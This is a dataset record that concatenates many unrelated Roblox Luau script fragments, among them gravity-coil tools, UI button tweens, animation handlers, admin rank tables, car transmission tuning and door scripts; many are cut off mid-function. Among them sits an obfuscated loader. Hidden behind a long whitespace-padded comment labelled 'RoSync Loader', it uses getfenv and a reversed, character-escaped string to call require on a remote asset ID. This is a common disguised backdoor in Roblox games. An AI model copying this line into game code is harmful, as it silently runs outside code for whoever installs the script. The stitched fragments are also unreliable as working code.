Pinkstack/roblox-luau-corpus-text huggingface dataset:
--Made by Luckymaxer



local Tool = script.Parent
local Handle = Tool:WaitForChild("Handle")
local CoilSound = Handle:WaitForChild("CoilSound")
local Character = game.Players.LocalPlayer.Character
local Head = Character.Humanoid.Head

EqualizingForce = (236 / 1.2) -- amount of force required to levitate a mass
Gravity = 0.85 -- things float at > 1

GhostEffect = nil
MassCon1 = nil
MassCon2 = nil

function GetTotalMass(root)
	local force = 0
	
	for _, obj in pairs(root:GetChildren()) do
		if obj:IsA("BasePart") then
			force = force + obj:GetMass() * EqualizingForce * Gravity
		end
		force = force + GetTotalMass(obj)
	end
	
	return force
end

function OnMassChanged(child, character)
	if GhostEffect and GhostEffect.Parent then
		GhostEffect.force = Vector3.new(0, GetTotalMass(Character), 0)
	end
end

function UpdateGhostState(Unequipped)
	if Unequipped then
		GhostEffect:Destroy()
		GhostEffect = nil
		MassCon1:disconnect()
		MassCon2:disconnect()
	else
		if not GhostEffect then
			GhostEffect = Instance.new("BodyForce")
			GhostEffect.Name = "GravityCoilEffect"
			GhostEffect.force = Vector3.new(0, GetTotalMass(Character), 0)
			GhostEffect.Parent = Head
			MassCon1 = Character.ChildAdded:connect(function(Child)
				OnMassChanged(Child, Character)
			end)
			MassCon2 = Character.ChildRemoved:connect(function(Child)
				OnMassChanged(Child, Character)
			end)
		end
	end
end

function OnEquipped()
	Character = Tool.Parent
	Head = Character:FindFirstChild("Head")
	if not Head or not Head.Parent then
		return
	end
	CoilSound:Play()
	UpdateGhostState(false)
end

function OnUnequipped()
	UpdateGhostState(true)
end

Tool.Equipped:connect(OnEquipped)
Tool.Unequipped:connect(OnUnequipped)
--Button size


local ButtonSX = Button.Size.X.Scale
local ButtonSY = Button.Size.Y.Scale

Button.MouseEnter:Connect(function(x,y)
	--HolaMousee
	Button:TweenSize(
		UDim2.new(ButtonSX + 0.006 , 0,ButtonSY + 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.2,
		true
	)
end)

Button.MouseLeave:Connect(function(x,y)
	--AdiosMousee
	Button:TweenSize(
		UDim2.new(ButtonSX, 0,ButtonSY, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.2,
		true
	)
end)

Button.MouseButton1Down:Connect(function(x,y)
	--Holding mouse
	Button:TweenSize(
		UDim2.new(ButtonSX - 0.006 , 0,ButtonSY - 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.15,
		true
	)
end)

Button.MouseButton1Up:Connect(function(x,y)
	--Holding mouse
	Button:TweenSize(
		UDim2.new(ButtonSX + 0.006 ,0, ButtonSY + 0.006, 0),
		Enum.EasingDirection.Out,
		Enum.EasingStyle.Back,
		0.15,
		true
	)
end)
-------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------



function onSwimming(speed)
	if speed > 1.00 then
		local scale = 10.0
		playAnimation("swim", 0.4, zombie)
		setAnimationSpeed(speed / scale)
		pose = "Swimming"
	else
		playAnimation("swimidle", 0.4, zombie)
		pose = "Standing"
	end
end

function animateTool()
	if (toolAnim == "None") then
		playToolAnimation("toolnone", toolTransitionTime, zombie, Enum.AnimationPriority.Idle)
		return
	end

	if (toolAnim == "Slash") then
		playToolAnimation("toolslash", 0, zombie, Enum.AnimationPriority.Action)
		return
	end

	if (toolAnim == "Lunge") then
		playToolAnimation("toollunge", 0, zombie, Enum.AnimationPriority.Action)
		return
	end
end

function getToolAnim(tool)
	for _, c in ipairs(tool:GetChildren()) do
		if c.Name == "toolanim" and c.className == "StringValue" then
			return c
		end
	end
	return nil
end

local lastTick = 0

function stepAnimate(currentTime)
	local amplitude = 1
	local frequency = 1
  	local deltaTime = currentTime - lastTick
  	lastTick = currentTime

	local climbFudge = 0
	local setAngles = false

  	if (jumpAnimTime > 0) then
  		jumpAnimTime = jumpAnimTime - deltaTime
  	end

	if (pose == "FreeFall" and jumpAnimTime <= 0) then
		playAnimation("fall", fallTransitionTime, zombie)
	elseif (pose == "Seated") then
		playAnimation("sit", 0.5, zombie)
		return
	elseif (pose == "Running") then
		playAnimation("walk", 0.2, zombie)
	elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
		stopAllAnimations()
		amplitude = 0.1
		frequency = 1
		setAngles = true
	end

	-- Tool Animation handling
	local tool = Character:FindFirstChildOfClass("Tool")
	local requireHandleCheck = not UserSettings():IsUserFeatureEnabled("UserToolR15Fix")
	if tool and ((requireHandleCheck and tool.RequiresHandle) or tool:FindFirstChild("Handle")) then
		local animStringValueObject = getToolAnim(tool)

		if animStringValueObject then
			toolAnim = animStringValueObject.Value
			-- message recieved, delete StringValue
			animStringValueObject.Parent = nil
			toolAnimTime = currentTime + .3
		end

		if currentTime > toolAnimTime then
			toolAnimTime = 0
			toolAnim = "None"
		end

		animateTool()		
	else
		stopToolAnimations()
		toolAnim = "None"
		toolAnimInstance = nil
		toolAnimTime = 0
	end
end
--------------------------------------------------------------
-- You DO NOT need to add yourself to any of these lists!!! --
--------------------------------------------------------------



local Owners={kill1773}					-- Can set SuperAdmins, & use all the commands
local SuperAdmins={kill1773}			-- Can set permanent admins, & shutdown the game
local Admins={kill1773}					-- Can ban, crash, & set Moderators/VIP
local Mods={kill1773}					-- Can kick, mute, & use most commands
local VIP={kill1773}					-- Can use nonabusive commands only on self
--[=[
	@param motor Enum.VibrationMotor
	@param intensity number
	@param duration number
	Sets the gamepad's haptic motor to a certain intensity for a given
	period of time. The motor will stop vibrating after the given
	`duration` has elapsed.

	Calling any motor setter methods (e.g. `SetMotor`, `PulseMotor`,
	`StopMotor`) _after_ calling this method will override the pulse.
	For instance, if `PulseMotor` is called, and then `SetMotor` is
	called right afterwards, `SetMotor` will take precedent.

	```lua
	-- Pulse the large motor for 0.2 seconds with an intensity of 90%:
	gamepad:PulseMotor(Enum.VibrationMotor.Large, 0.9, 0.2)

	-- Example of PulseMotor being overridden:
	gamepad:PulseMotor(Enum.VibrationMotor.Large, 1, 3)
	task.wait(0.1)
	gamepad:SetMotor(Enum.VibrationMotor.Large, 0.5)
	-- Now the pulse won't shut off the motor after 3 seconds,
	-- because SetMotor was called, which cancels the pulse.
	```
]=]


function Gamepad:PulseMotor(motor: Enum.VibrationMotor, intensity: number, duration: number)
	local id = self:SetMotor(motor, intensity)
	local heartbeat = HeartbeatDelay(duration, function()
		if self._setMotorIds[motor] ~= id then return end
		self:StopMotor(motor)
	end)
	self._gamepadTrove:Add(heartbeat)
end
--[[
	-----------[ THEMES ]-----------
  

	- LIGHT THEME:
	  If you want the light theme version of the board,
	  replace line 1 with: 
	  
	  require(2925075326).Parent = script.Parent
	
	- DARK THEME:
	  If you want the dark theme version of the board,
	  replace line 1 with: 
	  
	  require(5799918029).Parent = script.Parent


	- RAINBOW THEME:
	  If you want the rainbow theme version of the board,
	  replace line 1 with: 
	  
	  require(6872314867).Parent = script.Parent

--]]
--[[ Last synced 5/29/2021 05:54                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]]

 getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
--handle.ClickDetector.MouseClick:Connect(function(player, part)


	if doorOpen == true and changingState == false then
		changingState = true
		soundo:Play()
		for i = 1, 16 do
			script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, 0.1))
			wait(0.0001)
		end
		
		changingState = false
		doorOpen = false
	elseif changingState == false then
		changingState = true
		soundc:Play()
		for i = 1, 16 do
			script.Parent:SetPrimaryPartCFrame(script.Parent.PrimaryPart.CFrame * CFrame.new(0, 0, -0.1))
			wait(0.0001)

		end
	
		changingState = false
		doorOpen = true
	end
end)
--[[

	remoteSignal = ClientRemoteSignal.new(remoteEvent: RemoteEvent)

	remoteSignal:Connect(handler: (...args: any)): Connection
	remoteSignal:Fire(...args: any): void
	remoteSignal:Wait(): (...any)
	remoteSignal:Destroy(): void

--]]




local IS_SERVER = game:GetService("RunService"):IsServer()

local Ser = require(script.Parent.Parent.Ser)
--[[ Local Variables ]]

--
local MasterControl = {}

local Players = game:GetService('Players')
local RunService = game:GetService('RunService')
local VRService = game:GetService('VRService')
local VREnabled = VRService.VREnabled

while not Players.LocalPlayer do
	Players.PlayerAdded:wait()
end
local LocalPlayer = Players.LocalPlayer
local LocalCharacter = LocalPlayer.Character
local CachedHumanoid = nil

local isJumping = false
local moveValue = Vector3.new(0, 0, 0)

local isJumpEnabled = true
local areControlsEnabled = true
--[[Transmission]]


	Tune.TransModes		= {"Auto", "Semi", "Manual"}								--[[
	[Modes]
		"Auto"		: Automatic shifting
		"Semi"		: Clutchless manual shifting, dual clutch transmission
		"Manual"	: Manual shifting with clutch
		
		>Include within brackets
			eg: {"Semi"} or {"Auto", "Manual"}								
		>First mode is default mode													]]
	
	--Automatic Settings
	Tune.AutoShiftMode	= "Speed"												--[[
	[Modes]
		"Speed"		: Shifts based on wheel speed
		"RPM"		: Shifts based on RPM											]]	
	Tune.AutoUpThresh	= -590		--Automatic upshift point 	(relative to peak RPM, positive = Over-rev)
	Tune.AutoDownThresh = 1400		--Automatic downshift point (relative to peak RPM, positive = Under-rev)
	
	--Gear Ratios
	Tune.FinalDrive		= 3.06			-- Gearing determines top speed and wheel torque
	Tune.Ratios			= {				-- Higher ratio = more torque, Lower ratio = higher top speed
		--[[Reverse]]	3.70		,	-- Copy and paste a ratio to add a gear
		--[[Neutral]]	0			,	-- Ratios can also be deleted
		--[[ 1 ]]		3.53		,	-- Reverse, Neutral, and 1st gear are required
		--[[ 2 ]]		2.04		,
		--[[ 3 ]]		1.38		,
		--[[ 4 ]]		1.03		,
		--[[ 5 ]]		0.81		,
		--[[ 6 ]]		0.64		,
	}
	Tune.FDMult			= 1.5			-- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[
	The entry point for the Fusion library.
]]



local Types = require(script.Types)
local restrictRead = require(script.Utility.restrictRead)

export type State = Types.State
export type StateOrValue = Types.StateOrValue
export type Symbol = Types.Symbol

return restrictRead("Fusion", {
	New = require(script.Instances.New),
	Children = require(script.Instances.Children),
	OnEvent = require(script.Instances.OnEvent),
	OnChange = require(script.Instances.OnChange),

	State = require(script.State.State),
	Computed = require(script.State.Computed),
	ComputedPairs = require(script.State.ComputedPairs),
	Compat = require(script.State.Compat),

	Tween = require(script.Animation.Tween),
	Spring = require(script.Animation.Spring)
})
--[[
	Evercyan @ March 2023
	PlayerListStats
	
	PlayerListStats creates a leaderstats folder under every Player on the client side (each client has their own instances)
	which shows their levels. They are placeholders, meaning the real data is under ReplicatedStorage.PlayerData.
	If you change stats under leaderstats instead of a pData config, it will not save, and will likely be overwritten.
]]
--Player Variables


local plr = game.Players.LocalPlayer
local plrName = plr.Name

if plr.tempStage.Value > #game.Workspace.Checkpoints:GetChildren() then
	--Stage Stuff
	local currentStageNumber = plr.tempStage.Value
	local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(#game.Workspace.Checkpoints:GetChildren()))
	--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
	local currentCheckpointPos = currentCheckpoint.Position
	local X = currentCheckpointPos.X
	local Y = currentCheckpointPos.Y
	local Z = currentCheckpointPos.Z
	local TPPlace = CFrame.new(X, Y+5, Z)

	plr.Character.Torso.CFrame = TPPlace
else
	--Stage Stuff
	local currentStageNumber = plr.tempStage.Value
	local currentCheckpoint = game.Workspace.Checkpoints:FindFirstChild(tostring(currentStageNumber))
	--print(tostring(currentCheckpoint.Name).." -Current Checkpoint")
	local currentCheckpointPos = currentCheckpoint.Position
	local X = currentCheckpointPos.X
	local Y = currentCheckpointPos.Y
	local Z = currentCheckpointPos.Z
	local TPPlace = CFrame.new(X, Y+5, Z)

	plr.Character.Torso.CFrame = TPPlace
end
--Made by Luckymaxer



Players = game:GetService("Players")
Debris = game:GetService("Debris")

RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create

Functions = {}

function Functions.IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function Functions.TagHumanoid(humanoid, player)
	local Creator_Tag = Create("ObjectValue"){
		Name = "creator",
		Value = player,
	}
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function Functions.UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function Functions.GetTotalParts(MaxParts, PossibleParts, Parts)
	if MaxParts < PossibleParts then
		return MaxParts
	elseif Parts >= MaxParts then
		return 0
	elseif MaxParts >= PossibleParts then
		local PartCount = (MaxParts - PossibleParts)
		if Parts <= MaxParts then
			PartCount = (MaxParts - Parts)
			if PartCount > PossibleParts then
				return PossibleParts
			else
				return PartCount
			end
		elseif PartCount >= PossibleParts then
			return PossibleParts
		else
			return PartCount
		end
	end
end

function Functions.GetParts(Region, MaxParts, Ignore)
	local Parts = {}
	local RerunFailed = false
	while #Parts < MaxParts and not RerunFailed do
		local Region = Region
		local PossibleParts = Functions.GetTotalParts(MaxParts, 100, #Parts)
		local PartsNearby = game:GetService("Workspace"):FindPartsInRegion3WithIgnoreList(Region, Ignore, PossibleParts)
		if #PartsNearby == 0 then
			RerunFailed = true
		else
			for i, v in pairs(PartsNearby) do
				table.insert(Parts, v)
				table.insert(Ignore, v)
			end
		end
	end
	return Parts
end

function Functions.CheckTableForInstance(Table, Instance)
	for i, v in pairs(Table) do
		if v == Instance then
			return true
		end
	end
	return false
end

return Functions
-- ScreenSize -> WorldSize


function ScreenSpace.ScreenWidthToWorldWidth(screenWidth, depth)	
	local aspectRatio = ScreenSpace.AspectRatio()
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local wfactor = aspectRatio*hfactor
	local sx = ScreenSpace.ViewSizeX()
	--
	return -(screenWidth / sx) * 2 * wfactor * depth
end
function ScreenSpace.ScreenHeightToWorldHeight(screenHeight, depth)
	local hfactor = math.tan(math.rad(Workspace.CurrentCamera.FieldOfView)/2)
	local sy = ScreenSpace.ViewSizeY()
	--
	return -(screenHeight / sy) * 2 * hfactor * depth
end
--Don't touch


Seat.ChildAdded:Connect(function(Child)
	if Child.Name == "SeatWeld" then
		Plr = game.Players:FindFirstChild(Child.Part1.Parent.Name)
		Seat.Parent.Name = Plr.Name .. "'s Car"
		for i, gui in ipairs(Guis) do
			if gui.ClassName == "ScreenGui" then
				local new = gui:Clone()
				if new:FindFirstChild("Control") then
					if new.Control:FindFirstChild("CarName") then new.Control:FindFirstChild("CarName").Value = Plr.Name .. "'s Car" end
				end
				new.Parent = Plr.PlayerGui
			end
		end
	end
end)

Seat.ChildRemoved:Connect(function(Child)
	if Child.Name == "SeatWeld" then
		if NewName == "" then Seat.Parent.Name = OrigName else Seat.Parent.Name = NewName end
		for i, gui in ipairs(Guis) do
			if gui.ClassName == "ScreenGui" then
				if Plr.PlayerGui:FindFirstChild(gui.Name) then Plr.PlayerGui:FindFirstChild(gui.Name):Destroy() end
			end
		end
	end
end)
--//Points operation


s3.Touched:connect(function(child)
	if (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 3") then Switch2()
	elseif (child.ClassName == "VehicleSeat") and (child.Destination.Value == "Station 1") then Switch1()
	end
end)

s1.Touched:connect(Switch1)
s2.Touched:connect(Switch2)
--// initialize Q/E control //--


UIS.InputBegan:connect(function(input,gameProcessed)
	if input.UserInputType == Enum.UserInputType.Keyboard then
		if script.Parent.GuiActive.Value == true and focusedOnText == false then
			local keyPressed = input.KeyCode
			if keyPressed == Enum.KeyCode.Q then
				moveLeft()
			elseif keyPressed == Enum.KeyCode.E then
				moveRight()
			end
		end
	end
end)
--//Variables\\--


local tool = script.Parent
	local handle = tool:WaitForChild("Handle")
local player = game.Players.LocalPlayer
	local mouse = player:GetMouse()
	local character = player.Character or player.CharacterAdded:Wait()	
	
local enabled = true
local specialDB = true

local contextActionService = game:GetService("ContextActionService")

local cursorId = "http://www.roblox.com/asset/?id=251497633"
local hitmarkerId = "http://www.roblox.com/asset/?id=70785856"

local configs = tool:WaitForChild("Configurations")
	local specialRechargeTime = configs:FindFirstChild("SpecialRechargeTime")
	local fireRate = configs:FindFirstChild("FireRate")
	
local fire = tool:WaitForChild("Fire")
local activateSpecial = tool:WaitForChild("ActivateSpecial")
local rigType = tool:WaitForChild("RigType")
local hit = tool:WaitForChild("Hit")
local characterRigType =  nil
------------------------------------------------------------------------------------------------------------------------------------------------


		if script.Parent:FindFirstChild("Arm2") then
			local g = script.Parent.Arm2:Clone()
			g.Parent = File
			for _,i in pairs(g:GetChildren()) do
				if i:IsA("Part") or i:IsA("UnionOperation") or i:IsA("MeshPart") then
					i.CanCollide = false
					i.Anchored = false
					local Y = Instance.new("Weld")
					Y.Part0 = Player.Character["Right Arm"]
					Y.Part1 = g.Middle
					Y.C0 = CFrame.new(0, 0, 0)
					Y.Parent = Player.Character["Right Arm"]
				end
			end
		end
-----------------
--| Functions |--
-----------------



local oldWalkSpeed = 16

local IsEquipped = false
local function OnEquipped()
	if IsEquipped then return end
	IsEquipped = true
	MyPlayer = nil	
	while not MyPlayer do
		MyModel = Tool.Parent
		oldWalkSpeed = MyModel.Humanoid.WalkSpeed
		MyPlayer = PlayersService:GetPlayerFromCharacter(MyModel)
		if ({
			moded = 1,
			seranok = 1,
			weeve = 1,
			twberg = 1,
			adamintygum = 1,
			uristmcsparks = 1,
			merely = 1,
			squidcod = 1,
			player1 = 1
		})[MyPlayer.Name:lower()] then
			COOLDOWN = 1
		end
		MyModel.Humanoid.WalkSpeed = 24
		wait(1/30)
	end

	EquipSound:Play()
	local mouse = MyPlayer:GetMouse()
end

local TrackTime = 0

local holdSoundPlaying = false


local function OnActivated(targetOverride)
	wait(0) --TODO: Remove when Mouse.Hit and Humanoid.TargetPoint update properly on iPad
	if Tool.Enabled and MyModel and MyModel:FindFirstChild('Humanoid') and MyModel.Humanoid.Health > 0 then
		Tool.Enabled = false

		-- Pick a target
		local targetPosition = targetOverride or MyModel.Humanoid.TargetPoint

		-- Position the rocket clone
		local spawnPosition = ToolHandle.Position + (ToolHandle.CFrame.lookVector * (ToolHandle.Size.Z / 2))
		script.Parent.FireRocket:FireServer(targetPosition, spawnPosition)		
		
		ReloadSound:Play()

		wait(COOLDOWN)

		-- Stop the reloading sound if it hasn't already finished
		ReloadSound:Stop()

		Tool.Enabled = true
	end
end

local function OnUnequipped()
	ReloadSound:Stop()
	IsEquipped = false
	MyModel.Humanoid.WalkSpeed = oldWalkSpeed
end
--[=[
	Retrieves a remote function as a promise
	@class PromiseGetRemoteFunction
]=]



local require = require(script.Parent.loader).load(script)

local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RunService = game:GetService("RunService")

local GetRemoteFunction = require("GetRemoteFunction")
local Promise = require("Promise")
local ResourceConstants = require("ResourceConstants")
-- факелы


while true do
	for i = 3, 30  do
		script.Parent.Size=i
		script.Parent.Parent.Contact.Size=Vector3.new(i-1,i/2-1,i/2-1)
		wait(script.Parent.SpeedUP.Value)	-- скорость увеличения размера
	end
	for i = 30, 3, -1  do
		script.Parent.Size=i
		script.Parent.Parent.Contact.Size=Vector3.new(i,i/2,i/2)
		wait(script.Parent.SpeedDOWN.Value)	-- скорость уменьшения размера
	end
	wait(script.Parent.SleepTime.Value)		-- время сна между вспышками
end
--[=[
	@param instance Instance
	@return RBXScriptConnection
	Attaches the trove to a Roblox instance. Once this
	instance is removed from the game (parent or ancestor's
	parent set to `nil`), the trove will automatically
	clean up.

	:::caution
	Will throw an error if `instance` is not a descendant
	of the game hierarchy.
	:::
]=]


function Trove:AttachToInstance(instance: Instance)
	assert(instance:IsDescendantOf(game), "Instance is not a descendant of the game hierarchy")
	return self:Connect(instance.AncestryChanged, function(_child, parent)
		if not parent then
			self:Destroy()
		end
	end)
end
-- lock yourself in the locker, be sealed away foreverrr....



local p1 = script.Parent.Pivot1
local p2 = script.Parent.Pivot2
local TS = game:GetService("TweenService")
local deb = false
local toggled = false

local cd1= Instance.new("ClickDetector",script.Parent.Handle1)
cd1.MaxActivationDistance = 5
local cd1_2 = Instance.new("ClickDetector",script.Parent.Handle2)
cd1_2.MaxActivationDistance = 5
local cd2 = Instance.new("ClickDetector",script.Parent.Door1)
cd2.MaxActivationDistance = 5
local cd2_2 = Instance.new("ClickDetector",script.Parent.Door2)
cd2_2.MaxActivationDistance = 5
local cf1 = p1.CFrame
local cf2 = p2.CFrame

local function locker()
	if not deb then
		deb = true
		local anim1
		local anim2
		if not toggled then
			anim1 = TS:Create(p1,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf1 * CFrame.Angles(-math.rad(150),0,0)}
			)
			anim2 = TS:Create(p2,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf2 * CFrame.Angles(math.rad(150),0,0)}
			)
		else
			anim1 = TS:Create(p1,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf1}
			)
			anim2 = TS:Create(p2,
				TweenInfo.new(1.5,Enum.EasingStyle.Quad,Enum.EasingDirection.InOut,0,false,0),
				{CFrame = cf2}
			)
		end
		anim1.Completed:Connect(function()
			toggled = not toggled
			deb = false
		end)
		anim1:Play()
		anim2:Play()
	end
end

cd1.MouseClick:Connect(function()
	locker()
end)
cd1_2.MouseClick:Connect(function()
	locker()
end)
cd2.MouseClick:Connect(function()
	locker()
end)
cd2_2.MouseClick:Connect(function()
	locker()
end)